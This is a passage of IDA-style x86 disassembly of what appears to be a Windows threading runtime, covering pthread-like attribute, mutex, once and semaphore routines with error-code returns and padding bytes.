esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433B76 mov edi, [esp+14h] test edi, edi jz short loc_433B76 mov esi, [edi] push eax call sub_401555 add esp, 4 cmp esi, eax jl short loc_433B76 push 0 call sub_401442 add esp, 4 cmp esi, eax jg short loc_433B76 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_433B76: ; CODE XREF: ___:00433B42j ; ___:00433B4Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BA0: ; CODE XREF: ___:00401EFBj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433BC5 mov eax, [esp+0Ch] test eax, eax jz short loc_433BC5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433BC5: ; CODE XREF: ___:00433BB0j ; ___:00433BB8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433BE0: ; CODE XREF: ___:004015BEj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_433BF9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433BF9: ; CODE XREF: ___:00433BF0j mov eax, [esp+0Ch] test eax, eax jz short loc_433C0D cmp eax, 1 jz short loc_433C0D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433C0D: ; CODE XREF: ___:00433BFFj ; ___:00433C04j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433C30: ; CODE XREF: ___:004019E7j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_433C55 mov eax, [esp+0Ch] test eax, eax jz short loc_433C55 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_433C55: ; CODE XREF: ___:00433C40j ; ___:00433C48j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433C70 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433CB5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_433CB0 cmp eax, 2 jg short loc_433CB0 test eax, eax jz short loc_433C9C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_433C9C: ; CODE XREF: sub_433C70+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020D1 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_433CB0: ; CODE XREF: sub_433C70+1Aj ; sub_433C70+1Fj mov eax, 16h loc_433CB5: ; CODE XREF: sub_433C70+12j pop esi retn sub_433C70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433CE0 proc near ; CODE XREF: sub_4020D1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_401555 add esp, 4 cmp esi, eax jl loc_433D85 push edi call sub_401442 add esp, 4 cmp esi, eax jg short loc_433D85 cmp esi, 0FFFFFFF1h jle short loc_433D20 cmp esi, 0FFFFFFFEh jge short loc_433D20 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_433D32 ; --------------------------------------------------------------------------- loc_433D20: ; CODE XREF: sub_433CE0+2Fj ; sub_433CE0+34j cmp esi, 0Fh jge short loc_433D32 cmp esi, 2 jle short loc_433D32 mov [esp+8+arg_8], 2 loc_433D32: ; CODE XREF: sub_433CE0+3Ej ; sub_433CE0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_433D7E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 2740618h test eax, eax jnz short loc_433D72 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D72: ; CODE XREF: sub_433CE0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_433D7E: ; CODE XREF: sub_433CE0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D85: ; CODE XREF: sub_433CE0+19j ; sub_433CE0+2Aj pop edi mov eax, 16h pop esi retn sub_433CE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433DC0 proc near ; CODE XREF: sub_4021B2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433DF9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_433DF4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_433DF4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433DF4: ; CODE XREF: sub_433DC0+1Bj ; sub_433DC0+23j mov eax, 16h loc_433DF9: ; CODE XREF: sub_433DC0+12j pop esi retn sub_433DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E10 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E23 cmp eax, 2 jg short loc_433E23 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_433E23: ; CODE XREF: sub_433E10+6j ; sub_433E10+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E50 proc near ; CODE XREF: sub_401555j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E63 cmp eax, 2 jg short loc_433E63 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_433E63: ; CODE XREF: sub_433E50+6j ; sub_433E50+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433E90: ; CODE XREF: ___:00401ADCj push esi mov esi, [esp+8] test esi, esi jz short loc_433ED5 nop call near ptr 27405D1h cmp esi, eax jz short loc_433ED5 push esi push 0 push 200h nop call near ptr 2700000h test eax, eax jnz short loc_433ED5 nop call near ptr 27C07F2h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433ED5: ; CODE XREF: ___:00433E97j ; ___:00433EA1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_433EEE call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433EEE: ; CODE XREF: ___:00433EDBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F20: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] test esi, esi jz short loc_433F65 nop call near ptr 27405D1h cmp esi, eax jz short loc_433F65 push esi push 0 push 400h nop call near ptr 2700000h test eax, eax jnz short loc_433F65 nop call near ptr 27C07F2h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433F65: ; CODE XREF: ___:00433F27j ; ___:00433F31j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F90: ; CODE XREF: ___:00401B5Ej push 0 nop call near ptr 2821DE2h xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433FB0 proc near ; CODE XREF: sub_401C8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_433FCF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433FCF: ; CODE XREF: sub_433FB0+Aj push 4 push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_433FE7 mov edi, 0Ch loc_433FE7: ; CODE XREF: sub_433FB0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 2740000h test eax, eax mov [esi], eax jnz short loc_434014 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434014: ; CODE XREF: sub_433FB0+4Fj test edi, edi jz short loc_434026 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434026: ; CODE XREF: sub_433FB0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_433FB0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434070 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_434095 mov esi, [edi] test esi, esi jz short loc_434095 mov dword ptr [edi], 0 mov eax, [esi] push eax nop call near ptr 283061Dh test eax, eax jnz short loc_4340A7 mov [edi], esi loc_434095: ; CODE XREF: sub_434070+8j ; sub_434070+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4340A7: ; CODE XREF: sub_434070+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_434070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4340E0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_434113 mov eax, [eax] test eax, eax jz short loc_434113 mov eax, [eax] push 0 push eax nop call near ptr 27706F1h cmp eax, 102h jnz short loc_434125 mov esi, 0Bh call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434113: ; CODE XREF: sub_4340E0+7j ; sub_4340E0+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434125: ; CODE XREF: sub_4340E0+1Fj xor eax, eax pop esi retn sub_4340E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434150 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_43417D mov eax, [eax] test eax, eax jz short loc_43417D mov eax, [eax] push eax call sub_40164A ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43417D: ; CODE XREF: sub_434150+7j ; sub_434150+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_434150 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4341C0 proc near ; CODE XREF: sub_4018A7j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_4341E3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4341E3: ; CODE XREF: sub_4341C0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_4341F2 or ebx, 0FFFFFFFFh jmp short loc_434251 ; --------------------------------------------------------------------------- loc_4341F2: ; CODE XREF: sub_4341C0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_434251 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_434251 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_434251 dec ebx loc_434251: ; CODE XREF: sub_4341C0+30j ; sub_4341C0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D84 sub_4341C0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4342D0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4342EF mov eax, [eax] test eax, eax jz short loc_4342EF mov eax, [eax] push 0 push 1 push eax nop call near ptr 2730D3Ah test eax, eax jnz short loc_4342FF loc_4342EF: ; CODE XREF: sub_4342D0+6j ; sub_4342D0+Cj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4342FF: ; CODE XREF: sub_4342D0+1Dj xor eax, eax retn sub_4342D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434320 proc near ; CODE XREF: sub_402068j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_434346 mov eax, [eax] test eax, eax jz short loc_434346 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_434346 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2730D3Ah test eax, eax jnz short loc_434356 loc_434346: ; CODE XREF: sub_434320+6j ; sub_434320+Cj ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_434320+24j xor eax, eax retn sub_434320 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434370: ; CODE XREF: ___:0040143Dj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4343BD mov esi, [eax] test esi, esi jz short loc_4343BD mov edi, [esp+10h] test edi, edi jz short loc_4343BD mov eax, [esi] push 0 push eax nop call near ptr 27706F1h cmp eax, 102h jnz short loc_4343A1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4343A1: ; CODE XREF: ___:00434398j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2730D3Ah mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4343BD: ; CODE XREF: ___:00434378j ; ___:0043437Ej ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4343F0: ; CODE XREF: ___:0040222Fj call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434410: ; CODE XREF: ___:00402031j call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434430: ; CODE XREF: ___:00401CC6j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434450 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 push esi push offset dword_510940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_434484 push esi push ecx call sub_402211 add esp, 8 mov esi, eax push offset dword_510940 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_434484: ; CODE XREF: sub_434450+17j test eax, eax jnz short loc_43448D mov esi, 16h loc_43448D: ; CODE XREF: sub_434450+36j push offset dword_510940 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_434450 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4344C0 proc near ; CODE XREF: sub_402211j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4344DE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4344DE: ; CODE XREF: sub_4344C0+11j lea eax, [esp+14h+var_4] push eax call sub_401C3A mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_434519 mov [esp+14h+var_4], 1 loc_4344FB: ; CODE XREF: sub_4344C0+5Ej ; sub_4344C0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434530 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434519: ; CODE XREF: sub_4344C0+31j cmp [esp+14h+var_4], 1 jle short loc_4344FB cmp ebx, 1 jnz short loc_4344FB pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434530: ; CODE XREF: sub_4344C0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43454D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43454D: ; CODE XREF: sub_4344C0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A1E mov edi, eax add esp, 4 test edi, edi jnz short loc_434583 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_434583 mov dword ptr [esi], 3 loc_434583: ; CODE XREF: sub_4344C0+9Ej ; sub_4344C0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_43459F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43459F: ; CODE XREF: sub_4344C0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4344C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_434600: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4346A5 mov esi, [edi] test esi, esi jz loc_4346A5 cmp esi, 0FFFFFFFFh jz short loc_434668 cmp dword ptr [esi], 3 jnz short loc_43464D lea eax, [esi+4] push eax call sub_402252 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_43469F loc_434637: ; CODE XREF: ___:0043465Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43464D: ; CODE XREF: ___:00434623j push 1 push 0 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 1 jz short loc_434637 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: ___:0043461Ej push offset dword_510940 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43468F push offset dword_510940 mov dword ptr [edi], 0 call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43468F: ; CODE XREF: ___:00434676j push offset dword_510940 mov ebx, 10h nop call near ptr 7C9010EDh loc_43469F: ; CODE XREF: ___:00434635j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4346A5: ; CODE XREF: ___:0043460Bj ; ___:00434615j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4346E0: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] test esi, esi jz short loc_434741 mov eax, [esi] test eax, eax jz short loc_434741 cmp eax, 0FFFFFFFFh jnz short loc_434701 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434746 loc_434701: ; CODE XREF: ___:004346F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jnz short loc_434723 loc_434713: ; CODE XREF: ___:00434721j push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 2 jz short loc_434713 loc_434723: ; CODE XREF: ___:00434711j mov eax, [esi] cmp eax, 2 jnz short loc_43472E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: ___:00434728j cmp eax, 3 jnz short loc_434741 add esi, 4 push esi call sub_402248 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434741: ; CODE XREF: ___:004346E7j ; ___:004346EDj ... mov eax, 16h loc_434746: ; CODE XREF: ___:004346FFj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434770: ; CODE XREF: ___:00401AB9j mov eax, [esp+4] push esi test eax, eax jz short loc_4347B1 mov esi, [eax] test esi, esi jz short loc_4347B1 cmp esi, 0FFFFFFFFh jnz short loc_43478B loc_434784: ; CODE XREF: ___:00434797j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43478B: ; CODE XREF: ___:00434782j push 2 push 1 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_434784 dec eax jz short loc_4347AD dec eax jnz short loc_4347B1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4347AD: ; CODE XREF: ___:0043479Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: ___:00434777j ; ___:0043477Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: ___:00401942j push esi mov esi, [esp+8] test esi, esi jz short loc_434830 mov eax, [esi] test eax, eax jz short loc_434830 cmp eax, 0FFFFFFFFh jnz short loc_434801 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434835 loc_434801: ; CODE XREF: ___:004347F2j mov esi, [esi] push 1 push 2 push esi call dword_5103C8 ; InterlockedCompareExchange dec eax jz short loc_43482C dec eax jz short loc_434825 dec eax jnz short loc_434830 add esi, 4 push esi call sub_401785 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434825: ; CODE XREF: ___:00434812j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43482C: ; CODE XREF: ___:0043480Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_434830: ; CODE XREF: ___:004347E7j ; ___:004347EDj ... mov eax, 16h loc_434835: ; CODE XREF: ___:004347FFj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434860: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43488C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_434887 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_434887: ; CODE XREF: ___:0043487Ej xor eax, eax mov [esi+20h], ecx loc_43488C: ; CODE XREF: ___:00434872j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4348A0 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43492C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4348C4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4348C4: ; CODE XREF: sub_4348A0+1Bj push edi push esi push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_4348DD mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348DD: ; CODE XREF: sub_4348A0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4348ED mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348ED: ; CODE XREF: sub_4348A0+41j mov eax, [esi+4] push eax call sub_40164A ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0C143E890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43492C: ; CODE XREF: sub_4348A0+12j pop esi retn sub_4348A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434960 proc near ; CODE XREF: sub_401609j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434985 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_434985: ; CODE XREF: sub_434960+15j call near ptr 273064Bh nop cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4349AE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349AE: ; CODE XREF: sub_434960+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4349CB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349CB: ; CODE XREF: sub_434960+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_434960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434A00 proc near ; CODE XREF: sub_401AB4j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_434A90 cmp [ebx+0Ch], ebp jz short loc_434A6C cmp [ebx+4], ebp jz short loc_434A6C lea eax, [ebx+8] push eax call sub_402248 add esp, 4 test eax, eax jnz short loc_434A6C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_434A5F push edi loc_434A33: ; CODE XREF: sub_434A00+5Cj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_434A5A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_434A5A: ; CODE XREF: sub_434A00+3Ej cmp esi, ebp jnz short loc_434A33 pop edi loc_434A5F: ; CODE XREF: 